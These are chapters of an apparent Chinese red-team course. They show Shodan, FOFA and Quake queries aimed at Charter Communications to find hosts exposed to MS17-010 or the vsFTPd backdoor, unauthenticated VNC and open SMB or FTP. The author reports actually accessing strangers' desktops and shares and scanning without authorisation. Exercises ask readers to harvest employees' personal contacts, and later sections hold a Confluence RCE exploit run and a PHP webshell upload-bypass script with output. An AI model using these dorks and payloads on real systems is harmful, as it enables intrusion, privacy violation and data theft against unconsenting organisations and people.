[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/erwK04gI39YZBGoh-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/erwK04gI39YZBGoh-image.png)

得到了 ASN 以及对应的网段后，尽管我们不可能搜集完整 (甚至企业自己都理不清全部资产)，接下来可以搜集顶级域名 TLD 了。顶级域名例如 charter.com，spectrum.com。我们可以优先从字母公司入手，另外一个很快捷的方法是逆向 whois 查询，即我们根据 whois 信息中的某个信息进行逆向查询，有哪些域名包含了特定的关键字。我们可以尝试的逆向查询内容可以是邮箱 (charter.com)、域名服务器 (ns1.charter.com)。便捷的在线网站有 [https://viewdns.info/reversewhois/?q=charter.com](https://viewdns.info/reversewhois/?q=charter.com)，[https://hackertarget.com/find-shared-dns-servers](https://hackertarget.com/find-shared-dns-servers) 等。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/kHNCX2FATxYaX7o8-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/kHNCX2FATxYaX7o8-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/Rq2QZpOUVXxeur6P-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/Rq2QZpOUVXxeur6P-image.png)

我们也是得到了海量的输出，因为 Charter 也是服务供应商，这是可以预期的，我们需要手动筛选。并且在上图中我们可以看到，即便是 charter.com 主站，也有一些变种，例如 charter-business.com 。当我们层层筛选后，可以将 TLD 列表输入给各种子域名枚举工具，这类工具我们之前已经介绍过一些了，这里我再介绍一款 ReconFTW ([https://github.com/six2dez/reconftw](https://github.com/six2dez/reconftw))。这款工具十分强大，但具体强大之处请自行参考文档以及探索，这里不占用篇幅了。

接下来，是本节最核心的内容，是之前几节难以覆盖到的内容，请系好安全带，让我带你们从 OSINT 到 shell。当搜索引擎与特定的查询相结合的时候，可以辅助我们找到有趣的资产，比较知名的是 Google Dorking。除此之外，还有 Shodan dorking，Github Dorking 等。这些平台的具体侧重点有所不同或略有不同，但背后的宗旨都是一样的，利用现成的语法，组合成特定且精确的搜索语句。比如，在 Github 上，我们可以通过 Dorking 找到包含有明文凭证硬编码的文件，Google 上，我们可以找到开放目录站点，在 Shodan 上，我们可以找到 RDP 暴露于公网的主机。虽然这些 Dorking 都有一定的用途且都很有趣，为了能对我们的红队行动帮助最大，我们主要借助于 Shodan，Fofa，Quake 这 3 款搜索引擎。这 3 款搜素引擎功能是一致的，在具体能力上各有高低，此外，并且还存在着其他同类型的搜索引擎。

简述一下这 3 款搜索引擎的特点和优缺点

##### **Shodan**

会员价格整体偏贵  
详细的 banner 或者响应信息  
特定订阅允许根据 CVE 漏洞进行过滤  
不太擅长识别一些特定的应用或者组件  
有搜索次数和请求次数额度

##### **Fofa**

1000 元即可终身会员  
能识别大量的应用和组件  
有限的 banner 信息  
如果使用 API，一次最多返回 100 条  
只要频率控制在 1 秒 2 条请求以内，那就没有额度可言

##### **Quake**

1000 元即可终身会员  
能识别大量的应用和组件  
有限的 banner 信息  
有搜索次数和请求次数的额度，但一般够用

在探讨各个搜索引擎的语法以及特别的搜索语句之前，我们需要知道我们搜索的宗旨，我们想要得到的是其他搜索引擎难以提供的 quick win。

**1: 高风险 CVE 漏洞**

未认证 RCE  
目录遍历  
任意文件读写  
更多

**2: 配置不当的服务**

可读可写 SMB 共享目录  
不需要认证的 rsync  
不需要认证的 VNC  
不需要认证的 X11  
开放目录  
暴露在公网的域主机  
暴露在公网的域控制器  
默认凭证  
更多

**3: 信息搜集**

NetBIOS-SSN  
SMB  
RDP  
MSSQL  
WinRM  
SNMP  
更多

**4: 企业中常被利用的应用和组件**

Outlook  
Tomcat  
Jenkins  
Fastjson  
Log4j  
Spring  
ManageEngine Products  
Weblogic  
Vmware Products  
Struts2  
Gitlab  
Nexus  
JFog  
更多

考虑到我们有特定的目标，即 Charter，那么我们每次搜索的时候都需要把目标带上。幸运的是，这 3 款搜索引擎都帮我们整理好了 Organization 以及 ASN。考虑到 Charter 有多个活跃 ASN，那么我们就以组织名为准好了 (Fofa 对于一些 ASN 识别的结果与其他 2 款搜索引擎不一致，因此组织名也有所不同)。时刻记得判断目标结果是否为 Charter 自身的资产。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/ys1u1Y8oWwBCGCZs-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/ys1u1Y8oWwBCGCZs-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/BUV4DkrisnE7atOc-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/BUV4DkrisnE7atOc-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/Tf63vOH3k0cSIWdE-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/Tf63vOH3k0cSIWdE-image.png)

接下来，我们就可以构造特定的搜索语句了，我个人建议从精确、quick-win的开始，即找到大概率能提供给我们 shell 的资产。这样的案例可以为具有永恒之蓝 MS17-010 漏洞的主机，目前只有 shodan 能精确查找到，语句为 **org:"Charter Communications Inc" vuln:ms17-010**。

shodan 找到了 16 台具备条件的资产，但是从下图中的结果的域名来看，有可能是 Charter 客户的，我们往下翻一翻。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/VkvZSsvZ1iZ4tj5U-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/VkvZSsvZ1iZ4tj5U-image.png)

我们看到这个结果，域名是 spectrum 的，很有可能是 Charter 自身的资产，即在范围内。但请别过于激动，我们不应当实际进行攻击。并且攻击也可能因为其他原因导致失败，例如**安全产品的部署**、**网络防火墙**、**补丁和系统加固**等。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/1ZQwro4DyUyr2gtN-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/1ZQwro4DyUyr2gtN-image.png)

另外一个例子是 **VsFTPd 2.3.4 后门 RCE**。在 3 款不同搜索引擎下，语句是这样的：

FOFA: **org="CHARTER-20115" &amp;&amp; banner="vsFTPd 2.3.4"**  
Shodan: **org:"Charter Communications Inc" vsFTPd 2.3.4**  
Quake: **org:** **"Charter Communications Inc" AND response:"vsFTPd 2.3.4"**

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/0KmxwT8xqZlgVDOD-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/0KmxwT8xqZlgVDOD-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/yVqBjjEhQ2ZnMqtz-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/yVqBjjEhQ2ZnMqtz-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/ld5XF9gP4hPAbTWV-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/ld5XF9gP4hPAbTWV-image.png)

同样的，不是所有结果都是我们合法范围内的，需要甄别。我们可以确认该漏洞 ([https://www.exploit-db.com/exploits/49757](https://www.exploit-db.com/exploits/49757)) 利用难度很低，并不需要提供凭证即可执行远程代码。唯一需要注意的是，如果后续我们在利用的时候，目标主机会被开启一个端口，然后我们正向连接该端口。实际利用的成功与否，需要考虑到防火墙的因素。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/vIRrSVlegNwdsO0d-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/vIRrSVlegNwdsO0d-image.png)

在刚才，我们通过 2 个精确定位受 CVE 漏洞影响的资产的案例告诉大家，善于使用这些搜索引擎可以给我们后续的边界突破带来 quick win。更多的案例，我不在此一一枚举，重点是我们需要总结出受特定漏洞影响的资产的特征，可以是**版本号**，可以是 banner 或者响应中的**独特字符串**。

接下来，我们讨论能同样给我们 quick-win 的配置不当的网络服务或应用，它们通常并不是漏洞，而是配置不当，例如没有设置认证的 VNC 服务，可以让我们不提供凭证的情况下访问目标的桌面，变相给我们提供了 shell，甚至是更高级的 shell。我们先以传统 VNC 服务器举例，这里的话，想要精确定位到未开启认证的 VNC 服务器，我们需要依赖于 shodan。在之前，Quake 也支持精确定位，但可能由于法律法规和隐私的原因，关闭了。

shodan 语句为 **org:"Charter Communications Inc" "authentication disabled" "RFB"**。我们得到了 15 个结果，并且前几个结果看起来大都是范围内的。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/yK73T6uWwA8CR6fx-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/yK73T6uWwA8CR6fx-image.png)

我们连接其中一个，发现确实可以访问到对方的远程桌面 (我没有进行任何操作并且迅速退出)。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/qswKDDFlkCW2iKZn-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/qswKDDFlkCW2iKZn-image.png)

并且该主机所在的域为 Charter 注册，那么大概率是范围内的。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/3qJOD41RB9SQ6h6U-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/3qJOD41RB9SQ6h6U-image.png)

不过，也有一些不太成功的案例，例如目标是 IoT/OT 系统，或者目标主机设置了锁屏，因此即便我们能看到目标的 GUI，但是需要凭证才能进入系统 (但只要被解锁之后我们进入，就没有障碍了)。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/RVTdsyJVbeS5L22j-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/RVTdsyJVbeS5L22j-image.png)

(这些命令并非我留下的)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/bmEz3Q9E2hdZaTGj-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/bmEz3Q9E2hdZaTGj-image.png)

我们再来看 noVnc web 应用 ([https://github.com/novnc/noVNC](https://github.com/novnc/noVNC))，即在服务器上部署 noVnc 应用后，可以通过浏览器访问。3 款搜索引擎都能进行精确查找:

FOFA: **org="CHARTER-20115" &amp;&amp; server="WebSockify Python" &amp;&amp; title="Directory listing for /"**  
Shodan: **org:"Charter Communications Inc" http.title:"Directory listing" "Server: WebSockify Python"**  
Quake: **org:"Charter Communications Inc" and server: "WebSockify Python" and title: "Directory listing for /"**

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/BJKPfSgW79GFwrg4-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/BJKPfSgW79GFwrg4-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/DV6a1TW8FYd9iR7u-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/DV6a1TW8FYd9iR7u-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/GBRENAiEoxlULjs0-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/GBRENAiEoxlULjs0-image.png)

你们也许发现了我额外地给查询语句添加了**开放目录**的限制条件。原因在于，我们无法根据响应信息确认noVnc是否开启认证，而**如果目标主机的使用者不小心开放了目录，那么说明其不是很具备安全意识或者粗心，更有可能不设置认证**。这是一个从行为与心理层面进行的推断，如果因为范围限制地很狭窄导致搜索结果过少，我们也可以适当放宽，例如删去开放目录的限制。如下图所示，如果配置了开放目录，我们会能访问该页面，反之则直接进入连接的页面，然后可能面临认证。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/usvUTgGiPlqOLj6c-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/usvUTgGiPlqOLj6c-image.png)

不出意料，粗心到配置了开放目录的人确实没有设置认证，我们可以直接访问到他的桌面。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/UMhxuSXlk4511rRS-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/UMhxuSXlk4511rRS-image.png)

有些应用是被强制全屏的，如果想要获得代码执行，可能需要使用 **kiosk breakout** 的技术。虽然这很有趣，但请记住我们不能进行任何未授权攻击尝试。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/CEeznOeS8Tu0scPu-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/CEeznOeS8Tu0scPu-image.png)

以及在有的服务器上，我们能执行代码，但 noVnc 是运行在容器内的，获得代码执行的意义也不是特别大。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/HNLPYInO7NOiLZHl-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/HNLPYInO7NOiLZHl-image.png)

除了 VNC，类似的协议还有 X11，请自行探索利用方法。

目前为止，我介绍了几种通过 OSINT 就能大概率获得 shell 的方法与思路。接下来，我们也许不能直接获得代码执行，但能很大程度丰富我们掌握的知识和情报，例如未认证情况下访问目标的 SMB 共享目录、FTP 服务器等。

我们来查看一下有哪些资产是允许 FTP 匿名访问的。FTP 服务器中可能存储着敏感文件，尤其是如果包含明文凭证、知识产权、VPN侧写文件等。3 个搜索引擎可以分别用如下语句查询：

FOFA: **org="CHARTER-20115" &amp;&amp; banner="User logged in"**  
Shodan: **org:"Charter Communications Inc" port:21 "User logged in"**  
Quake: **org:"Charter Communications Inc" and response:"User logged in" AND service: "ftp"**

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/vJsz1SnlPIi1H0tb-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/vJsz1SnlPIi1H0tb-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/d9BLewP4Mb1fgPvI-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/d9BLewP4Mb1fgPvI-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/vh6bUyXEC9aHqZTf-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/vh6bUyXEC9aHqZTf-image.png)

我们看到，还是有不少 FTP 服务器允许匿名登陆的，选择其中一个进行访问尝试，虽然看起来没有什么特别有趣的文件，但考虑到样本较多，我们也许总能找到敏感的文件。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/NYtN5s5N6Sdka14v-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/NYtN5s5N6Sdka14v-image.png)

类似的，我们还可以访问部分共享目录没有设置认证的 SMB 服务。实际上，SMB 服务本就不该被暴露在公网上。查询没有设置访问的 SMB 服务器，FOFA 无法做到精确查询，因此展示另外 2 个搜索引擎的语句

Shodan: **org:"Charter Communications Inc" "authentication disabled" port:445**  
Quake: **org:"Charter Communications Inc" and response:"authentication disabled" and port:445**

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/KjSzX9JkoQ0MR3I1-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/KjSzX9JkoQ0MR3I1-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/IOAxo4LGbyF4iKdQ-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/IOAxo4LGbyF4iKdQ-image.png)

选择其中一个，尝试访问，我们发现该目标有多个开放的共享目录。如果我们运气好，也可能在其中能得到敏感文件。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/RuQ3aT6H2OTWuUaL-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/RuQ3aT6H2OTWuUaL-image.png)

例如该资产，我们甚至能访问用户的 C 盘文件，十分危险。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/ISO7TLs5TvfwPyPD-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/ISO7TLs5TvfwPyPD-image.png)

接下来，我们寻找在公网上开放了 RDP 服务的主机,，虽然 RDP 的认证是强制开启的，但是我们可以搜集到目标主机的一些信息。3 款搜索引擎的语句分别如下：

FOFA: **org="CHARTER-20115" &amp;&amp; protocol="rdp"**  
Shodan: **org:"Charter Communications Inc" "Remote Desktop Protocol"**  
Quake: **org:"Charter Communications Inc" and service:"rdp"**

如下图所示，RDP的响应中，我们能够提取到一些主机信息，虽然该目标显然可能是 Charter 客户的资产。我们还可以搜索 MSSQL，NBT-SSN，WinRM 等服务来得到有关主机、域的一些信息。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/hG9tbWByA6VdEL1r-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/hG9tbWByA6VdEL1r-image.png)

最后，我们来搜索一些企业中常用的应用和组件。考虑到这些应用在历年几乎都有 RCE 漏洞。虽然有些漏洞并不新了，但是考虑到企业对于安全的重视程度、合规性、流程等因素，想要从所有应用与组件的 RCE 中幸存下来是有难度的，因为我们想要突破边界，1 个 shell 就够了，而企业却要补丁所有资产上运行的应用与组件。现代企业所用的应用与组件颇多，比较典型的有 Confluence，Outlook，Vmware 产品，JBoss，Weblogic，Tomcat 等。例如，要搜索 Outlook OWA 应用，我们可以用以下的查询语句：

FOFA: **org="CHARTER-20115" &amp;&amp; title="outlook"**  
Shodan: **org:"Charter Communications Inc" http.title:"Outlook"**  
Quake: **org:"Charter Communications Inc" and title:"Outlook"**

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/1QNimyOLOjgJkNfv-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/1QNimyOLOjgJkNfv-image.png)

我们可以看到有不少的实例，但是请注意甄别客户资产。在确定了范围内的资产后，我们可以用 **nuclei** ([https://github.com/projectdiscovery/nuclei)](https://github.com/projectdiscovery/nuclei)) 或 **vulmap** ([https://github.com/zhzyker/vulmap](https://github.com/zhzyker/vulmap)) 等批量扫描工具进行漏洞验证。但是我们只是对 Charter 进行 OSINT，所以请不要实际对 Charter 做漏洞扫描。并且大面积的漏洞扫描是不太隐蔽的，因此在实际的红队行动中，需要在另一台 VPS 主机上进行扫描工作，以免暴露出我们的大本营。

下图是我之前对其他地区资产进行的扫描与概念验证，严格来说依旧属于未授权，请大家不要效仿。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/xSJ9xQcWLVgBoBaV-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/xSJ9xQcWLVgBoBaV-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/DvyBMTO21yvLopw0-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/DvyBMTO21yvLopw0-image.png)

# 第3章课后作业

请寻找一家**大型企业** (千人以及更大规模)，通过 OSINT 以及正常访问等手段，搜集以下信息。请不要使用 nmap，漏洞扫描器等。

### **练习**

1：企业的联系方式、地理位置

2：企业的产品、合作伙伴

3：企业的社交媒体、员工社交媒体、员工联系方式 (邮箱、手机号、地址)

4：企业网段

5：企业子域名

6：企业的子公司以及母公司，得到它们的主站点 (顶级域名)

7：除了 HTTP/HTTPS 外的对公网开放的网络服务，例如 RDP，FTP，SSH等。在这些中，有没有大概率存在严重漏洞的？

8：根据职位信息等来源，了解目标公司的基础设施信息以及所用应用 (例如 AD，Azure，Confluence，Jira，Office 365 等)。

9：类似于7，有没有暴露给公网的常见应用，例如 Tomcat，Nexus，Outlook 等。

### **拓展**

1：参考 Charter Communication 案例，写一个脚本，输入目标企业名称或者 ASN，使用 shodan、fofa 等工具进行全自动查询。查询可以是预设或硬编码的。为了完成该题目，可能需要至少一个网络空间测绘平台的 APIKEY。

2：仅仅使用 OSINT 以及正常流量的浏览，你是否能找到目标企业能让你拿到 shell 的资产？

# 面试专题

# 章节4：初始入侵



# 利用公开exp

## **利用公开exp**

搜集完信息之后，我们已经了解了目标公司开放了哪些公共服务，如果运气好，这些开放的公共服务具有高危漏洞，且这些高危漏洞存在公开exp，例如Confluence RCE漏洞。这样的话，我们就能突破到内部网络了。但并非只有 RCE 漏洞能给予我们突破口，组合利用一些威胁程度相对低一些的漏洞也可能为我们带来突破，常见的一些情况如下

1：利用SQL注入漏洞提取凭证，绕过登陆或者密码重用。  
2：利用 SQL Server 的 SQL 注入漏洞通过xp\_cmdshell执行远程代码。  
3：利用 XXE/LFI 等漏洞读取包含敏感信息的配置文件，例如包含明文帐号密码。然后绕过登陆或者密码重用。  
4：不仅仅 Web 漏洞可以为我们提供突破口。FTP 也可以存在目录遍历漏洞，提取敏感文件。

对于利用公开exp，最重要的一点在于确定公共服务的版本，因为一个漏洞往往只影响特定的几个版本，但也不总是这样。有的时候，一个漏洞早已存在，但在数个版本之后才被发现和披露。又或者，漏洞被披露了，但开发者未修复或者未能成功修复。无论如何，exp 对应的版本和目标公共服务的版本越匹配，成功率就越大。如果实在难以找到特定服务的版本，可以推测目标是否经常更新。例如，该目标的其他服务版本都比较及时地更新了，都更新到2022年年初的版本了，那么该服务很可能是较新的版本，可以优先试试最近的漏洞。反之，可以尝试久远一些的漏洞。

对于具有公开 exp 的漏洞，我们可以在 Kali 自带的 searchsploit 上查询，每次使用前记得及时更新。更新后的searchsploit数据与exploit-db 一致。除此之外，我们还可以在github，packetstorm ([https://packetstormsecurity.com/)](https://packetstormsecurity.com/)) 等平台寻找exp。

##### **Exploit-DB**

[![image.png](http://raven-medicine.com/uploads/images/gallery/2022-09/scaled-1680-/vidimage.png)](http://raven-medicine.com/uploads/images/gallery/2022-09/vidimage.png)

##### **Github**

[![image.png](http://raven-medicine.com/uploads/images/gallery/2022-09/scaled-1680-/AUeimage.png)](http://raven-medicine.com/uploads/images/gallery/2022-09/AUeimage.png)

##### **Packet Storm**

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/8IxEzyt8pnnfNHnd-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/8IxEzyt8pnnfNHnd-image.png)

我们之前发现 **raven-medicine.org:8090** 运行着 Confluence 应用，版本是 **7.13.6**，与 CVE 所列举的版本范围吻合

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/7pUVKewA3oSEPdJ1-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/7pUVKewA3oSEPdJ1-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/FUYPEK0U8HDCVe2V-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/FUYPEK0U8HDCVe2V-image.png)

我们从 Github 上下载了一个 exp，对目标进行验证，成功地执行了远程代码：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/77GIabkSIlUPdhSp-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/77GIabkSIlUPdhSp-image.png)

```
└─# python3 exp.py http://raven-medicine.org:8090 'cat /etc/passwd'
Confluence target version: 7.13.6
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin confluence:x:2002:2002::/var/atlassian/application-data/confluence:/bin/bash 
```

# 新页面



# 利用常见web漏洞

## **利用常见web漏洞**

虽然说利用Web漏洞不是唯一突破边界的方式，但绝对是重要途径之一。在上一篇，我们说了如何利用漏洞的公开 exp 突破企业边界，但每个企业往往都有自己独自开发的Web应用，且不开源，那么对于这种独自开发、高度自定义的 web 应用，我们就不能依赖于公开 exp 了，而是需要通过手动与自动相结合的方式找出app的漏洞并加以利用。需要注意的是，该篇侧重于从黑盒的角度去寻找以及利用漏洞，因为下一篇会从白盒的角度去发掘漏洞。

我们固然可以通过自动化扫描器辅助我们寻找漏洞，但需要注意的是，使用扫描器是很不隐蔽的做法，而且依赖于扫描器会阻碍我们手动寻找漏洞。需要区别于 web 渗透测试，尽管一些web漏洞依旧可能对我们有一定作用，例如信息泄漏、详细的报错信息等，但如果要突破边界，我们可能需要依赖于一些危险程度更高的漏洞，例如远程代码执行 RCE 、系统命令注入、SQL 注入等。尽管我们不能依赖于公开exp，但这不代表我们不可以参考公开 exp 中的载荷。例如在 SQL Server 数据库的SQL注入中，通过什么样的载荷可以开启 xp\_cmdshell 再执行系统命令，是可以参考同类型的公开 exp 或者cheatsheet 的。

### **不安全的文件上传**

我们来访问 **http://raven-medicine.org** 搭建在 **Apache 2.4.41** 服务器上的 Web 应用。该应用是企业的对外站点，因此是企业内部开发的。手动浏览一下该站点，我们发现该站点内容还是比较简约的，在众多页面中，我们发现 **job-detail.html** 看起来有望存在漏洞，因为这里有一个上传点。根据上下文，这个上传点是用于上传简历的，因此有 2 种可能的攻击途径

1：上传一份恶意文档，如果当 HR 手动点开该恶意文档，我们可以执行在客户端的代码。

2：上传 webshell，通过访问 webshell 获得代码执行。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/9u2zSbEuEw9xpMDn-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/9u2zSbEuEw9xpMDn-image.png)

考虑到恶意文档攻击需要等待用户交互，因此我们先尝试上传 Webshell。我们选择了一个 PHP 的后门 webshell。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/3OuBhHPU7IkTc7AL-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/3OuBhHPU7IkTc7AL-image.png)

可是，应用报错提示 **.php** 文件拓展名不被允许，也就是说该应用有着文件扩展名的白名单或者黑名单。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/Fa49McgTxOI54BzC-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/Fa49McgTxOI54BzC-image.png)

根据 HackTricks ([https://book.hacktricks.xyz/pentesting-web/file-upload](https://book.hacktricks.xyz/pentesting-web/file-upload)) 中的绕过技巧，我们先从简单的做起，尝试使用 **.phtlm** 来绕过，这次成功了。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/YDxwinpXBxBThnON-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/YDxwinpXBxBThnON-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/4p5ipNknDe2VU3oh-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/4p5ipNknDe2VU3oh-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/MwPYA62BVBFJSk6h-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/MwPYA62BVBFJSk6h-image.png)

接下来，我们需要能访问到我们上传的 webshell。这时候，可以选择枚举目录，但在那之前，不妨猜测一下可能存放我们 webshell 的位置，我们但愿上传的 webshell 没有被更名，因此猜测最终位置为 /upload/backdoor.phtml，实际上也确实如此。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/JxAtk6uXk5osSdiv-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/JxAtk6uXk5osSdiv-image.png)

在刚才，我们用浏览器交互的形式上传了 Webshell 并且执行了代码，现在，让我们用 Python (或者任何你喜欢的语言) 脚本实现一键自动化。该脚本接受 2 个参数，域名以及要执行的命令。rce 函数的实现作为作业请学员完成。

```python
#!/usr/bin/env python
import requests
import sys


def upload(ip):
        upload=ip+"/resume.php"
        print(upload)
        payload="<?php if(isset($_REQUEST['cmd'])){ echo \"\"; $cmd = ($_REQUEST['cmd']); system($cmd); echo \"\"; die; }?>"
        files={'resume':('cmd.phtml',payload)}
        headers={'User-Agent':'Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.','Referer':'http://'+ip+'/job-detail.html'}
        r=requests.post(upload,headers=headers,files=files))

def rce(ip,cmd):
        ******填写此段代码*****
        print("Output of the Command Execution:")
        print(res)


if len(sys.argv)!=3:
        print("Usage: python3 raven.py http://raven-medicine.org whoami")
ip=sys.argv[1]
url=ip+"/job-detail.html"
command=sys.argv[2]
upload(ip)
rce(ip,command)

```

预期的输出：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-02/scaled-1680-/UA6TDNcHodtoOTOi-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-02/UA6TDNcHodtoOTOi-image.png)

```bash
└─# python3 raven.py http://raven-medicine.org 'cat /etc/passwd'
http://raven-medicine.org/resume.php
Output of the Command Execution:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
